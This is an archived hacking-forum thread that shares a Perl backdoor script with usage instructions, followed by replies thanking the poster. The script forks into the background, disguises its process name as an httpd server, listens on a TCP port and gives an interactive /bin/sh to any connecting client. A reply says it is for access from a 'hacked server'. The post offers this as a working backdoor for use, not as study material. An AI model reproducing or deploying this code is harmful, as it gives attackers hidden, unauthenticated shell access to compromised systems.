PDA

View Full Version : Simple Back Connect



darkmindz
01-26-2011, 11:00 AM
#!/usr/bin/perl -w
#whereis perl
$SHELL="/bin/sh -i";
$port = 51299;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "/usr/local/sbin/httpd" . " " x100;
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}


save file on *.pl extenstion

Use : > Perl filename.pl <port>

Easy ;)

poninay
02-02-2011, 02:36 AM
nice tut men..............

esta
02-06-2011, 12:56 PM
what this realy does ??

Gam3KiNG
02-19-2011, 06:57 PM
wow been looking for it

Midnaitas
02-25-2011, 03:19 PM
nice one :O

zaki1971
02-27-2011, 10:51 AM
Thanks man!

xbritvax
03-03-2011, 07:03 PM
thx alot ;]

otheridentity
03-17-2011, 12:59 AM
what is this used fore

mc0d3
03-19-2011, 02:51 PM
this is to connect frm the hacked server darkmindz u here been a while. watsup